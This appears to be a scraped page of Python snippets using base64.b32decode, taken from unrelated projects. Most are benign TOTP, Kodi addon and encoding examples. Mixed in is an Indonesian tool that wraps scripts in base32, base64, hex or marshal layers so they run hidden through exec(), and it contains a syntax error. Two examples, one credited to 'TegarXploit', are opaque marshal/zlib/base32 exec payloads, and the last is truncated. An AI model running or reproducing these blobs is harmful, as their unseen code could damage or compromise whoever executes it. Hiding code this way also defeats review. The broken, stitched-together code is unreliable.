            en = base64.b32encode(bk)
            ff = f + 'c'
            open(ff, 'w').write('import base64\nexec(base64.b32decode("' + en +
                                '"))')
            nm = ('').join(f.split('.')[:1]) + '-enc.py'
            os.rename(ff, nm)
            run('file berhasil di encrypt menjadi %s ' % nm)
        else:
            if inp == '3' or inp == '03':
                clr()
                logo()
                try:
                    f = raw_input('Filenames: ')
                except:
                    exit()
                else:
                    try:
                        bk = open(f, 'r').read()
                    except:
                        run('file %s tidak ditemukan ' % f)
                        exit()

                en = base64.b64encode(bk)
                ff = f + 'c'
                open(ff, 'w').write('import base64\nexec(base64.b64decode("' +
                                    en + '"))')
                nm = ('').join(f.split('.')[:1]) + '-enc.py'
                os.rename(ff, nm)
                run('file berhasil di encrypt menjadi %s ' % nm)
            else:
                if inp == '4' or inp == '04':
                    clr()
                    logo()
                    try:
                        f = raw_input('Filenames: ')
                    except:
                        exit()
                    else:
                        try:
                            bk = open(f, 'r').read()
                        except:
                            run('file %s tidak ditemukan ' % f)
                            exit()

                    en = bk.encode('hex')
                    ff = f + 'c'
                    open(ff, 'w').write('exec("' + en + '").decode("hex")')
                    nm = ('').join(f.split('.')[:1]) + '-enc.py'
                    os.rename(ff, nm)
                    run('file berhasil di encrypt menjadi %s ' % nm)
                else:
                    if inp == '5' or inp == '05':
                        clr()
                        logo()
                        try:
                            f = raw_input('Filenames: ')
                        except:
                            exit()
                        else:
                            try:
                                bk = open(f, 'r').read()
                            except:
                                run('file %s tidak ditemukan ' % f)
                                exit()

                        c = compile(bk, '<zbl>', 'exec')
                        en = marshal.dumps(c)
                        ff = f + 'c'
                        open(ff,
                             'w').write('import marshal\nexec(marshal.loads(' +
                                        repr(en) + '))')
                        nm = ('').join(f.split('.')[:1]) + '-zbl.py'
                        os.rename(ff, nm)
                        run('file berhasil di encrypt menjadi %s ' % nm)
                    else:
                        if inp == '6' or inp == '06':
                            clr()
                            logo()
                            try:
                                f = raw_input('Filenames: ')
                            except:
                                exit()
                            else:
                                try:
                                    bk = open(f, 'r').read()
                                except:
                                    run('file %s tidak ditemukan ' % f)
                                    exit()

                            bk = bk.replace('exec(base64.b16decode("', '')
                            bk = bk.replace('"))', '')
                            bk = bk.replace('import base64\n', '')
                            en = base64.b16decode(bk)
                            ff = f + 'c'
                            open(ff, 'w').write(en)
                            nm = ('').join(f.split('.')[:1]) + '-dec.py'
                            os.rename(ff, nm)
                            run('file berhasil di decrypt menjadi %s ' % nm)
                        else:
                            if inp == '7' or inp == '07':
                                clr()
                                logo()
                                try:
                                    f = raw_input('Filenames: ')
                                except:
                                    exit()
                                else:
                                    try:
                                        bk = open(f, 'r').read()
                                    except:
                                        run('file %s tidak ditemukan ' % f)
                                        exit()

                                bk = bk.replace('exec(base64.b32decode("', '')
                                bk = bk.replace('"))', '')
                                bk = bk.replace('import base64\n', '')
                                en = base64.b32decode(bk)
                                ff = f + 'c'
                                open(ff, 'w').write(en)
                                nm = ('').join(f.split('.')[:1]) + '-dec.py'
                                os.rename(ff, nm)
                                run('file berhasil di decrypt menjadi %s ' %
                                    nm)
                            else:
                                if inp == '8' or inp == '08':
                                    clr()
                                    logo()
                                    try:
                                        f = raw_input('Filenames: ')
                                    except:
                                        exit()
                                    else:
                                        try:
                                            bk = open(f, 'r').read()
                                        except:
                                            run('file %s tidak ditemukan ' % f)
                                            exit()

                                    bk = bk.replace(
                                        + 'exec(base64.b64decode("', '')
                                    bk = bk.replace('"))', '')
                                    bk = bk.replace('import base64\n', '')
                                    en = base64.b64decode(bk)
                                    ff = f + 'c'
                                    open(ff, 'w').write(en)
                                    nm = ('').join(
                                        f.split('.')[:1]) + '-dec.py'
                                    os.rename(ff, nm)
                                    run('file berhasil di decrypt menjadi %s '
                                        % nm)
                                else:
                                    if inp == '9' or inp == '09':
                                        clr()
                                        logo()
                                        try:
                                            f = raw_input('Filenames: ')
                                        except:
                                            exit()
                                        else:
                                            try:
                                                bk = open(f, 'r').read()
                                            except:
                                                run('file %s tidak ditemukan '
                                                    % f)
                                                exit()

                                        bk = bk.replace('exec("',
                                                        '') or bk.replace(
                                                            "exec('", '')
                                        bk = bk.replace(
                                            '").decode("hex")',
                                            '') or bk.replace(
                                                "').decode('hex')", '')
                                        en = str(bk).decode('hex')
                                        ff = f + 'c'
                                        open(ff, 'w').write(en)
                                        nm = ('').join(
                                            f.split('.')[:1]) + '-dec.py'
                                        os.rename(ff, nm)
                                        run('file berhasil di decrypt menjadi %s '
                                            % nm)
                                    else:
                                        if inp == '0' or inp == '00':
                                            run('thank for using my tools ')
                                            exit()
                                        else:
                                            exit()
コード例 #44
0
ファイル: otpauth.py プロジェクト: Varbin/blog-source
def decode_oath_secret(secret):
    """base32-decode an encoded secret"""
    return base64.b32decode(secret)
コード例 #45
0
ファイル: cli.py プロジェクト: justinmoon/ckcc-protocol
def new_user(username, totp_create=False, totp_secret=None, text_secret=None, ask_pass=False,
                do_delete=False, debug=False, show_qr=False, hotp=False, pick_pass=False):
    '''
Create a new user on the Coldcard for HSM policy (also delete).

You can input a password (interactively), or one can be picked
by the Coldcard. When possible the QR to enrol your 2FA app will
be shown on the Coldcard screen.
'''
    from base64 import b32encode, b32decode

    username = username.encode('ascii')
    assert 1 <= len(username) <= MAX_USERNAME_LEN, "Username length wrong"

    dev = ColdcardDevice(sn=force_serial)
    dev.check_mitm()

    if do_delete:
        dev.send_recv(CCProtocolPacker.delete_user(username))
        click.echo('Deleted, if it was there')
        return

    if ask_pass:
        assert not text_secret, "dont give and ask for password"
        text_secret = click.prompt('Password (hidden)', hide_input=True, confirmation_prompt=True)
        mode = USER_AUTH_HMAC

    if totp_secret:
        secret = b32decode(totp_secret, casefold=True)
        assert len(secret) in {10, 20}
        mode = USER_AUTH_TOTP
    elif hotp:
        mode = USER_AUTH_HOTP
        secret = b''
    elif pick_pass or text_secret:
        mode = USER_AUTH_HMAC
    else:
        # default is TOTP
        secret = b''
        mode = USER_AUTH_TOTP
    
    if mode == USER_AUTH_HMAC:
        # default is text passwords
        secret = dev.hash_password(text_secret.encode('utf8')) if text_secret else b''
        assert not show_qr, 'QR not appropriate for text passwords'

    if not secret and not show_qr:
        # ask the Coldcard to show the QR (for password or TOTP shared secret)
        mode |= USER_AUTH_SHOW_QR

    new_secret = dev.send_recv(CCProtocolPacker.create_user(username, mode, secret))

    if show_qr and new_secret:
        # format the URL thing ... needs a spec
        username = username.decode('ascii')
        secret = new_secret or b32encode(secret).decode('ascii')
        mode = 'hotp' if mode == USER_AUTH_HOTP else 'totp'
        click.echo(f'otpauth://{mode}/{username}?secret={secret}&issuer=Coldcard%20{dev.serial}')
    elif not text_secret and new_secret:
        click.echo(f'New password is: {new_secret}')
    else:
        click.echo('Done')
コード例 #46
0
ファイル: main.py プロジェクト: lBeJIuk/TOTP_examples
import hashlib
import hmac
import time
import base64
key = "JBSWY3DPEHPK3PXP"

secret = base64.b32decode(key.encode("utf-8"))
counter = int(time.time() / 30)

bytes = bytearray()
for _ in range(0, 8):
  bytes.insert(0, counter & 0xff)
  counter >>= 8

hs = bytearray(hmac.new(secret, bytes, hashlib.sha1).digest())

n = hs[19] & 0xF

result = (hs[n] << 24 | hs[n + 1] << 16 | hs[n + 2] << 8 | hs[n + 3]) & 0x7fffffff

print(str(result)[-6:])
コード例 #47
0
                })
                li = xbmcgui.ListItem(countryName,
                                      iconImage='DefaultFolder.png')
                xbmcplugin.addDirectoryItem(handle=addon_handle,
                                            url=localUrl,
                                            listitem=li,
                                            isFolder=True)
            except Exception, e:
                print(e)
                pass

    xbmcplugin.endOfDirectory(addon_handle)

elif mode[0] == 'states':
    country = args['country'][0]
    country = base64.b32decode(country)
    country = country.decode('utf-8')

    data = downloadFile(
        'http://www.radio-browser.info/webservice/json/states/' +
        urllib.quote(country) + '/', None)
    dataDecoded = json.loads(data)

    localUrl = build_url({
        'mode': 'stations',
        'key': 'country',
        'value': base64.b32encode(country.encode('utf-8'))
    })
    li = xbmcgui.ListItem(LANGUAGE(32006), iconImage='DefaultFolder.png')
    xbmcplugin.addDirectoryItem(handle=addon_handle,
                                url=localUrl,
コード例 #48
0
ファイル: otp.py プロジェクト: zzlpeter/pyotp
 def byte_secret(self):
     missing_padding = len(self.secret) % 8
     if missing_padding != 0:
         self.secret += '=' * (8 - missing_padding)
     return base64.b32decode(self.secret, casefold=True)
コード例 #49
0
ファイル: encXrip.py プロジェクト: TegarXploit/encXrip
# coded by TegarXploit
import marshal, zlib, base64
exec(
    marshal.loads(
        zlib.decompress(
            base64.b32decode(
                "PCOLKVSLN7NUMEC6SKJCLUMW5U6J2JRJIAKW2I5DRAOD3YQENIPG4HSN3IRECKZHJDVCAMDIOIRVDIKIQZF5LEJBT5NKAPPV33PHXTN55CQ3P7UE72FPZB3WMZ3FPNUQAQHIVBQSS7P4ZTQM66N6LTVOY7KGLQV5A237QEY2D77AMCYZ3OMGBA3NDANJW3GD2TMGEG4WYY43NELD3RQP2PHTJX3L3QIM35RD6QEUDGW42SLNTZWRIGBPWBN3P6IM6NTURCNIGBA4KCJKJWIC3HLHFFSJD4IS6PT5QU4TUV7TADXWRQMRDDLDXVNAMDWBH5YN2FPXAA7PPO3H4OCEOTRPZMJNCXSZDHKEN4JQDNXPDGQXB5LLZHQ3IU6FZOL7XV7ID57CTMLVWX7MPS63GEZEO56H7GFMP6Z7EXPA6NMFYTNW7IUQ6Y6XX5OD6V7XBSKTIC7O5OMLRK7YU2FWZTGYRXD6PWFOYEZMN6SA3NSGHA2GVZSIXBU24UUCDMXHLGAT3AA4VZLTDYG552X37YHV7PK6UDEIDG7EBDCEQ2BMQ7AYPCLAPOE5AYMSP5BEDSFB5RAD3NQCAVJC4Q6KC2AZRZZYOWS6YWE2MRTAS7PSLW56DO5BC6ULEJ3BSZLDCFXOV4SC52TOE33QWZHT22WWH6WQ63GHLFJROATH2JGGXNDCX5AK4FMHFYAPBA56BINCTDKDCKATKBNUQC7JKSVFRXXOQWABO6T2FI5BD4E5QEUAK3NK2VLMSTNMUDQBYRY5VFMJNNNQVFP5ABXHAAYF73U6DIHIJCCSHNNKUGPLMI2NNRT7VAVMLWAKYXMGM4BZ5D2Q2ECPBWJQ5PCWSW7X37RV2N2VDF7JRBDRSDUZ5R6K6OZO3FHWMI3FJTALHITIE5POBXQZWGF5CID23PMUN5V7YWEPZILBLGDEUWW5PFG2XEMXT2JIZGODWMHXHU33JBNTM7KXRRPKTIVXQ7LVZKUPSWVDMZR4VKHVLKR5LFRNR3XRTHNPFE3M5TPHIFTHX6EBS3QM52KFS7AOVSEYLJD3WDCXD6KB4KAK4JB4EFQVRCLWZ5A3TFI73QNFNGUEKCNLCNLOHLUJZNWAYRJNJ7S4QYV3C2JSW5DMSFFY5QP2DNF7OPAWVJYZ4LKBSVNNVHOBJD6QEFRKVRICNWZNKB4NBTESLBSOGIXLIMV6WHAKEUVACUF5N2G3CCDGG3EQ7HV5MSDGD6DFKTG3F7U4FQKLEE72DZDJFXZ46HFRTCAXRDPQWY7U4NA7ZSVMH6HRJUIAFL3CEMS36IH73TYMLYMG6ZXQYLIAYDQTQO7YRQIRMKIJQ36FMBQR7A5D56DECYV6TFAWE2QGY6EMCTZG4LR4JIDBXUKYHRL5BSLN4DMDQ32WMBQNJMZTQQIMX22BBP2HBRBMWP4JJ2DVR7ZQ6NH4SPPLBDVR6ZP6NEJCEOQNVRL57R25JJONUW5GKW2ZI6PE5HVKGNDJSAUJWZNFXGRGWIHNJH2QY55CON2XCVSGUOFKMPB62E2VAF5OZ6BZAT3KM2TLMMBMAX6DT56EA64OSD4SHDGZZANKLSUK6KVBQY53PKGSZ233YLDQK6WSKI4B52NQA2BU3ORDMPIMURZHN7ZQCDOHMRIQW322BRGKLYPLIS2FK5NEOKN6OWR2444NI46HK3WEKGLV5VUQ2QN6FI55QFX4SESI4OLLRNSVL723SF73XR5IMBT5MZ4ZTXE32K6XTED3WOQ53SNNEXOVUB5ZVW3KNXGOJO37GVE457YTIGFYZZJ4QQ6PXHX3WPJHOGP7FAEODNZDVAVMPIGCLLGVVG532GKEBEOFXMAPZ5QQIUXO7JMQCDYZ6EQIDCJFVTTIUDQ77ZYJACDFTKSNIDJAOQ655IJXZEBUULBY3EGNYIHK4D3NAWOCJY6CYSJKGQDEQIT4TNAEOSWNYZ7GTNJFUUHMN2LALARBXKZDC4OL36FALLJFDPK6DR4PFHKPODMEKBMIDCTMVJKWP3PIFWRNNI6WV7KXBZQR3XEEJ6RPYM45X7TIYE4GAXWWD6BNYBZZ5HTFYM3EVRRM6TSADTKPNQLP4W57PGYH6HSPQHEG44YTSO53SWNVGE73RTB2D5RXGGQ3JI4SL3QMGZC72DMEOE3SMZRKITSA4OEETCIJ6OUGULE2KQPMB5BX5BOSQ3U3QZEWRVJL43GP2CEPJL7U2WOPCLY545X2Q==="
            ))))
コード例 #50
0
def packOnionAddress(onion, port):
    onion = onion.replace(".onion", "")
    return base64.b32decode(onion.upper()) + struct.pack("H", port)
コード例 #51
0
import base64
original_data = b'This is the data, in the clear.'
print('Original:', original_data)
encoded_data = base64.b32encode(original_data)
print('Encoded :', encoded_data)
decoded_data = base64.b32decode(encoded_data)
print('Decoded :', decoded_data)
コード例 #52
0
def base32_decode(strs):
    bytestr = strs.encode('utf-8')
    decodestr = base64.b32decode(bytestr).decode()
    return decodestr
コード例 #53
0
#!/usr/bin/env python

from base64 import b64decode, b32decode, b16decode, b85decode, a85decode

txt = "R0FZRENNSlFHRVlUQU1CUUdFWVRBTUJSR0VZREFNSlJHQVlUQ01KUUdBWVRDTUJSR0FZREFNQlJHRVlEQ01KUUdBWURDTUpRR0VZVEFNQlFHRVlUQU1KUkdFWURDTUpRR0FZRENNQlFHQVlUQ01CUkdFWURBTUJSR0VZREFNQlJHQVlEQ01KUUdFWVRBTUJSR0VZREFNQlJHRVlEQU1KUkdBWVRDTUJRR0VZVEFNQlFHRVlUQU1CUkdFWURDTUJSR0FZVENNQlFHRVlUQU1CUUdFWVRBTUpSR0VZREFNSlJHQVlUQU1CUUdBWVRDTUJSR0VZREFNQlJHRVlUQU1CUUdBWURDTUpRR0VZVEFNQlFHRVlUQU1KUUdFWURBTUpSR0FZVEFNSlFHRVlUQU1CUkdFWURBTUJSR0VZRENNSlFHQVlEQ01KUUdBWVRBTUJRR0VZVEFNQlJHRVlEQU1KUkdBWVRBTUJRR0FZVENNQlJHRVlUQU1CUkdFWURBTUpSR0FZRENNSlFHRVlUQU1CUUdFWVRBTUpRR0VZREFNSlJHQVlUQ01KUUdBWVRDTUJRR0VZVEFNQlJHRVlEQ01CUkdBWVRDTUJRR0VZVEFNQlFHRVlUQU1CUkdFWURBTUpSR0FZVEFNQlFHQVlUQ01CUkdFWURBTUJSR0VZREFNSlJHQVlEQ01KUUdBWVRDTUJRR0VZVEFNSlJHRVlEQU1KUkdBWURDTUpRR0FZVENNQlFHQVlUQU1CUkdFWURBTUpSR0FZRENNSlFHQVlUQU1CUUdFWVRBTUJSR0VZREFNSlJHRVlEQU1CUUdBWVRDTUJSR0VZREFNQlJHRVlEQ01CUkdBWURDTUpRR0VZVEFNQlFHRVlUQU1KUUdFWURBTUpSR0FZVENNQlFHQVlUQ01CUUdBWVRBTUJSR0VZREFNSlJHQVlEQ01KUUdFWURDTUJRR0VZVEFNQlJHRVlEQU1KUkdBWVRBTUpRR0FZVENNQlFHRVlUQU1CUkdFWURDTUpRR0FZRENNSlFHQVlUQ01CUUdFWVRBTUpSR0VZREFNSlJHQVlEQ01KUUdBWVRDTUJSR0FZVEFNQlJHRVlEQ01KUUdBWURDTUpRR0VZREFNQlFHRVlUQU1KUkdBWURBTUpSR0FZVEFNQlFHQVlUQ01CUUdFWVRBTUJSR0VZRENNQlFHQVlEQ01KUUdBWVRDTUJRR0VZVEFNQlJHRVlEQU1KUkdBWVRDTUpRR0VZVEFNQlJHQVlBPT09PQ=="

# print(txt)
txt = b64decode(txt).decode()
# print(txt)
txt = b32decode(txt).decode()
# print(txt, len(txt)//8)
txt = int(txt, 2)
# print(txt)
txt = txt.to_bytes(txt.bit_length() // 8 + 1, 'big').decode()
# print(txt)
txt = int(txt, 16)
# print(txt)
print(txt.to_bytes(txt.bit_length() // 8 + 1, 'big').decode())
コード例 #54
0
    def verify_otp_code(self, code, remote_ip=None):
        if remote_ip and settings.vpn.cache_otp_codes:
            doc = self.otp_cache_collection.find_one({
                '_id': self.id,
            })

            if doc:
                _, hash_salt, cur_otp_hash = doc['otp_hash'].split('$')
                hash_salt = base64.b64decode(hash_salt)
            else:
                hash_salt = os.urandom(8)
                cur_otp_hash = None

            otp_hash = hashlib.sha512()
            otp_hash.update(code + remote_ip)
            otp_hash.update(hash_salt)
            otp_hash = base64.b64encode(otp_hash.digest())

            if otp_hash == cur_otp_hash:
                self.otp_cache_collection.update({
                    '_id': self.id,
                }, {'$set': {
                    'timestamp': utils.now(),
                }})
                return True

            otp_hash = '$'.join((
                '1',
                base64.b64encode(hash_salt),
                otp_hash,
            ))

        otp_secret = self.otp_secret
        padding = 8 - len(otp_secret) % 8
        if padding != 8:
            otp_secret = otp_secret.ljust(len(otp_secret) + padding, '=')
        otp_secret = base64.b32decode(otp_secret.upper())
        valid_codes = []
        epoch = int(utils.time_now() / 30)
        for epoch_offset in range(-1, 2):
            value = struct.pack('>q', epoch + epoch_offset)
            hmac_hash = hmac.new(otp_secret, value, hashlib.sha1).digest()
            offset = ord(hmac_hash[-1]) & 0x0F
            truncated_hash = hmac_hash[offset:offset + 4]
            truncated_hash = struct.unpack('>L', truncated_hash)[0]
            truncated_hash &= 0x7FFFFFFF
            truncated_hash %= 1000000
            valid_codes.append('%06d' % truncated_hash)

        if code not in valid_codes:
            return False

        response = self.otp_collection.update(
            {
                '_id': {
                    'user_id': self.id,
                    'code': code,
                },
            }, {'$set': {
                'timestamp': utils.now(),
            }},
            upsert=True)

        if response['updatedExisting']:
            return False

        if remote_ip and settings.vpn.cache_otp_codes:
            self.otp_cache_collection.update({
                '_id': self.id,
            }, {'$set': {
                'otp_hash': otp_hash,
                'timestamp': utils.now(),
            }},
                                             upsert=True)

        return True
コード例 #55
0
def encodeall(info):
    from core.build_menu import buildmenu
    try:
        st = input(
            color.yellow(' [-] Enter a string to be encoded/decoded :> '))
        m64 = base64.b64encode(st.encode())
        data = m64.decode()
        print(
            color.green(' [+] Base64 Encoded String : ') + color.yellow(data))
        #save_data(host.database, host.module, host.lvl1, host.lvl2, host.lvl3, host.name, str(data))
    except Exception as e:
        pass
    try:
        m32 = base64.b32encode(st.encode())
        data = m32.decode()
        print(
            color.green(' [+] Base32 Encoded String : ') + color.yellow(data))
        #save_data(host.database, host.module, host.lvl1, host.lvl2, host.lvl3, host.name, str(data))
    except Exception as e:
        pass
    try:
        m16 = base64.b16encode(st.encode())
        data = m16.decode()
        print(
            color.green(' [+] Base16/Hex Encoded String : ') +
            color.yellow(data))
        #save_data(host.database, host.module, host.lvl1, host.lvl2, host.lvl3, host.name, str(data))
    except Exception as e:
        print(color.red(" [-] Caught Exception : " + str(e)))
    try:
        m64d = base64.b64decode(st.encode())
        data = m64d.decode()
        print(color.red(' [+] Base64 Decoded String : ') + color.white(data))
        #save_data(host.database, host.module, host.lvl1, host.lvl2, host.lvl3, host.name, str(data))
    except Exception as e:
        pass
    try:
        m32d = base64.b32decode(st.encode())
        data = m32d.decode()
        print(color.red(' [+] Base32 Decoded String : ') + color.white(data))
        #save_data(host.database, host.module, host.lvl1, host.lvl2, host.lvl3, host.name, str(data))
    except Exception as e:
        pass
    try:
        m16d = base64.b16decode(st.encode())
        data = m16d.decode()
        print(
            color.red(' [+] Base16/Hex Decoded String : ') + color.white(data))
        #save_data(host.database, host.module, host.lvl1, host.lvl2, host.lvl3, host.name, str(data))
    except Exception as e:
        pass
    try:
        data = urllib.parse.quote(st, safe='')
        print(color.green(' [+] URL Encoded String : ') + color.yellow(data))
        data = urllib.parse.quote_plus(st, safe='')
        print(
            color.green(' [+] URL plus Encoded String : ') +
            color.yellow(data))
    except Exception as e:
        pass
    try:
        data = urllib.parse.unquote(st)
        print(color.green(' [+] URL Decoded String : ') + color.yellow(data))
        data = urllib.parse.unquote_plus(st)
        print(
            color.green(' [+] URL plus Decoded String : ') +
            color.yellow(data))
    except Exception as e:
        pass
    # more types of encoding still need added
    # encod = ''
    # stri = list(st)
    # for i in stri:
    #     encod = encod + escape(i)
    # print(color.green(' [+] Encoded String : ')+color.yellow(encod))
    # m = st.encode('base64', 'strict')
    # print(color.green(' [+] Encoded String : ')+color.yellow(m))
    # m = st.encode('hex', 'strict')
    # print(color.green(' [+] Encoded String : ')+color.yellow(m))
    # result = []
    # for char in st:
    #     result.append('\%o' % ord(char))
    # print(color.green(' [+] Octal Encoded String : ')+color.yellow(str(''.join(result))))
    # m = ''.join(format(ord(x),'b') for x in st)
    # print(color.green(' [+] Encoded String : ')+color.yellow(m))
    # m = st.encode('zlib','strict')
    # print(color.green(' [+] Encoded String : ')+color.yellow(m))
    st = input(
        color.blue(' [#] Press') + color.red(' Enter ') +
        color.blue('to continue... '))
    buildmenu(info, info.main_menu, 'Main Menu', '')
コード例 #56
0
import marshal, zlib, base64
exec(
    marshal.loads(
        zlib.decompress(
            base64.b32decode(
                "PCOO27L5NQOES5S76UGIPHAZZ3YJXIVIZ6THNJNFOZH7YGDSJBE3XFEO7JMISJ4J4I3LLSZ3VYC2FSLOBZ5T5OTHXONSWUJLHJ35D6XOG37DYZB7F2DO6DGYBFQAHQIZI2BGAY77CERU5TQBAIMA4AX7ON7RR4B2P44ASAX3V7CMABLW3Z55LHZTZXU6CHJOL3NSFJLCKV2VL5PLL66XV5PKXWVO4LPG7R2MD7ZPYJ7WWJ6JTABP6BCWMVWN3CYLNROXBYYJW2PHBY2JW2PHJYY5NS64HDNH3B5MVDLXWL2U4N66YXLLXXDYTKW2PXLYQ2WWPXDYS2WWPXLYG5N665XDHG3J447DPG3J5J3YQJKXWWFNS6W7OMSBAFVPVGACOT2DGBJIDBQAVXD3SAUXBVZBU3AP3BUZAJ3TVQWUH2TPMM3VQCUYGTA5MLVDAU4PWAJBIG3BNITSWH3F5IEHWBWPHQNE4HTDPN62CJ272NH3CDXVHCVWJGLZI6AB7FNR6IE2MZFRXCQAX3GLP2CZG3H5ERKHRRNL6BA2AQRXKVYBEONPGZLM3M7KFFLDXTOWJ7BRGQV2A7XV2E6ZXLENHPMIO2GQAF6UGGTAVPBJQGK46MFFR4TZFLBMWJT5BIJPGD2QKVT6SGUWP6IFJCOGG6HZEVLB5RYSBJADOAGXARAQDYEG3B3IFFIEVS2HDHRZ4QG7HKTH3H5MWTBZYLPIOZS7MFVINFN7YAKMB3YVNBDFRP6A2QF2YPEBJUFGVAUVE6MXFFGXTORHVI2UN6NCTRZIKJQMU4MKZQYOKBCFM2MQFCAVTFZIVLOPWEJOJTCTPAIUH6ISQWLSTZ2VBJPWHSTJVK4MAFEREJLZQMSGSGVUYOKDSEXTFZIFRIWDFZKFRJOGHSSZRJOGPSRZRLOGBSSLCS44TFDRRK6M5FHTCS44LFEXFFZJWKNPKBSISKK7UDEJPGDSQERHPGBSIGI3WTF5Y6KESVSJGBJUTKWXHEJAX5CHE6HFQHM7QII2P7IN7QWI6CYQWWZRAPGYGFKVSWJRRSVILA7S7DN5HL26TKX7T4PJIC6BBCGPATRLHALYGEIJ7K2ZI4QF5V7KAVI5GLK3VZLMLGV2WUR6XWQT2UNG5PDEVLX6ZKUWNVMT26DFZ7PDC5F4VBGNJ5ZYXW6RAXBXORO53MRVIO7WTGUGZEX6AHNPTHDCGS3VGLJBAKFSVXNFUTNVHMQLC23PL6SNZGX4PABXGNJMM4QQE32CVUFYWJKVW4WQTEXX5OVCST26TK4DQJMOF7VIU2LIZKVSEZMK642F3G44FFGEYTIUBLC5TSMLYUE7DTKXIVGTSL5OTBALQMKZTCMC4TGMCZTMJN2U2MBBEJZBHE6WPJ5A3GW2UKU3LMUPX4GGTBZR2CKIIDVPCD4ZBWWC4YBHQGAADMICGKS5JAPMPPR6DH5QPV4B52GUF6YBL2CHDPDE4BZLU5IOAPDFNTSPH7Q7Q6QEG4ZH6ERPIVJZRWBBFL54OOBK3AKMLEO4ODS4W3JD5YZ46UJYLWVET4UNMLXYRHU5UT2ZPFEOIHMOXRV4RCSY7LSX7BR7773OU6AGHEAQHTKWJUNTTHHXYQPPIBJRQVROQKQQA7O3AZ6ZTX4NOVUMLWNUUPJSUELMLNVLXPLA5FJHN3BCZK5KVJ2442IYNSGWHP2SMAS3BXISOESLA6INPDYDYZXHVDT46CE5IKD7BL4FXRALPM3FWMCCYSSEXEZ2HYDSA2HBYYEILO3TS34UCMCB7IMVEC2E566D6U6QPDRRE66S7XSRVO53EOMOB5TWG4ODSKINP2JR2TDZV3KTDQRBXKNKKDKXTTHNECFFFQQWKKCYTNCL3UVKO3U7HB3D7QI6L5DHNPHRWDAPNE7MFEY7CU6BMXVQ5JHBFFGRJQFWI6PSLWHIZDJSIG4ZQ6FO6DFSGWN2UPCDCGCQILATPK2Z3STGPVV4KZROZJRRURTJ3SHFG33ALFJ5MFNDIYKTBKXJGZ2WQFKGGPA2VWTSQWL4M6UPFF6EJIKCUHLIYAMWS236JSTLV2AGBUDLTXIGOUZ6BZOS4DR75XQ7A6ARD7Y4NQ2LBAD4JSWMPEUAJBHDSDAJYIYABXAADIBAARYP2CHAAFR7ZHJ4LOBXEAGQHSSJYGU5TDTNPPMRR6C3V6GIEJXMAPSZS2IF2LD46SY3GFX5HVV33KRBRNECH3VTRVGVSSD7SZACM6CAXCVI6OLYNK6SU3ZZUPATNCKZURXAY4RO33JESDCOMEQLVAEWTPQJGTWAT4NZR3TRUDFQXPOCXCIBKBRYPRMCZ2OCQ7A6HV7ISECDM4XD4EKCF2JRHRTRTQKJE647ZYGSF7A6KR5XEM7ZENBC5DUUVH467KM776OGU7P32SUP3HYCAEUKBMESTE3QGKQZCRAP6KCEFNMZDMIKNMS4SX2WLTCM2MZ7KC356BKNMEAUCGOZDF755TRW7YV7R47HCISO7RN7JL7JKK4IYV7ZLPG5OGRPPX2OCZY77UJP446LGRKYMEQNG76CRWCKSCROMO2D4SRV6DSTOGUMUH4H5M3TZEP7BDP4SYRZPSJO76ERR7O7V7AJ7VF4C72YFTV2QHM7PX4NLT7BH6JFHHSAJ4CHTXM346E26EZA3X4YIPYESEHEZJJQ5DCKAK3Y2FHPVUU7R53WI3VN4CFCQHYPVPIDQLIUNJJ5HXV4ODLSQ2N27CLCNCYPRSFKVC5PYOQN6NEMRJ2TDIS2YGV3MWG32SVE5FI3YYR33CRTFVHS5VXL2ZSEJZMZ5DFLFKMJO4232YUJZXJ5PVCU4P6EK4TH2AK7MOCNVM2RFUCVUNSNQOFM5NNFLW6ZVDE5M3XFQA4Q2RZQLUXWDZQARXQDYTDKDH4M67ZTQKTZQ6N56XXXQ37RV3RAEGL2AO26XF5QJ6QEWBFOLN7URFZ26CJHLFLRBGHMLFSQZJJQTE3SHOUYJ3EIN4WFCYKOW7VCXFE3UYJM6KE6UEJD7DYTG2KZRIG4FSK7QFYU56TBFP4FQKOEVZCCMQI2PZCIFKPHLAM6VL64LJ577NT47PQBYPUL67P22XHT57QUQQL2A7WZ5EYZDTYUF74734TWQNNPCUC4WI2PCKZF6GNKVS5GHBDDE4426SF2S2KKCR4KEQEJDGPJRIOECRHUZ4OJA62TEU36WSQ6T5K5LN5ML3LADN46ICPVVOGEZM2BDG2E5YPJFJYI5BALA6XHYIJH2RBD336OILMKJCPJCPKLGOPYJXARY5BU7Q7ZDYR5R7WXQKXZ562R5JZWVHTZYKPWO2MB3VGGT6ISMAEPKLXCEFJAJXSRF6F4HCKXPUKUT3CITP44YUFNQORGXJ4Z7JJ5NUH7VH7OTSRQW272ZOWMHTWTFL7HOGNOSWZVRMUHSV553JN43XD3TABP4KO24P2YJA2A3WDC5WVDP5XYJB27VXXDBYFSDXNR5W5HK6LSWJSMV5M5RFWUO6CMNQM3LSM2PJK55WSSFWFXPWUCSXQ4GVGTE7WMONXJBXLFJM447DWFP7VJPNR7OTS4IZOVHTI53HJKVVQXKBDVASQXRQ5FBZISKAF56XGSTZKPMJRE3GJG3WN22AWFS7GF3DE6BT3IYHCL4I4OSVTORZ4HK7D7WXLZEOQ5MLV5RRAZCOILJJ3X2SSKCIUO5RD6MXF6BKRGRJCIWLYTICT2ECCSJRVIPMYCGQWJKOD72OYDOKSGBU4BXG55UPXNCUWWK5FSI7DEV222NHCRYHKVVQ7GXKVUZTJ7KEK2LGPT47QM764YHYJZA5BZEEUQZAQG2YF6SLHE4SCW5OUSC6NOPKJPWXE77DS6QYFKVYHJMV6F2Z3X7JBKQK36XIJJ2H4HAFQNKLMLRMKRSZQLJVODJZI5RTPFCRLHQUXU4TCMLA7RLRIURKU33K2OSQGKGVCVREW3NNNKHKUUYTVLRO5W7XE2SVPV7OR5PPEZYWV4LY354XFT5L5OVLOCLNXVMZ5PNOJ662XKUOV3WVT5QGNLBFEKQZYBB3MN5SAGAN3WKXSMII7BCLVNXTGTQR4U6ZHBN4KOUT63IY66SQM66TYE5ETQ6H5SJ3LFM6BNSWNXVNOKTELKTAWA53VHNHTC3R3PNBKRSFS3EXYZ5KUXJK53VDH5WNMNT5NVBHY24XETWGNSN7K2NNZFTW3MKHSZU3HOKLL456DVX2SFKZDRJFDXCED7V6MZN55KK6QS2PT3AFL23KUKQ34VQD5HSMWQK3ZNTY5SP2XVTJVZBMT2TFTY7OFXLOKTKLB53BKBVSU2GYW7BM3PAON5MNXFVITD5ZFLR4UN4KOGWAGWUYV7Q3U2GINW4G7XTZZ7GFIDUODN6WBWBWA3OV2BMXA7EWYMXIL3MGPFVU27QAESIQITZAKZUQCIKWQBLJODKY2HHJDI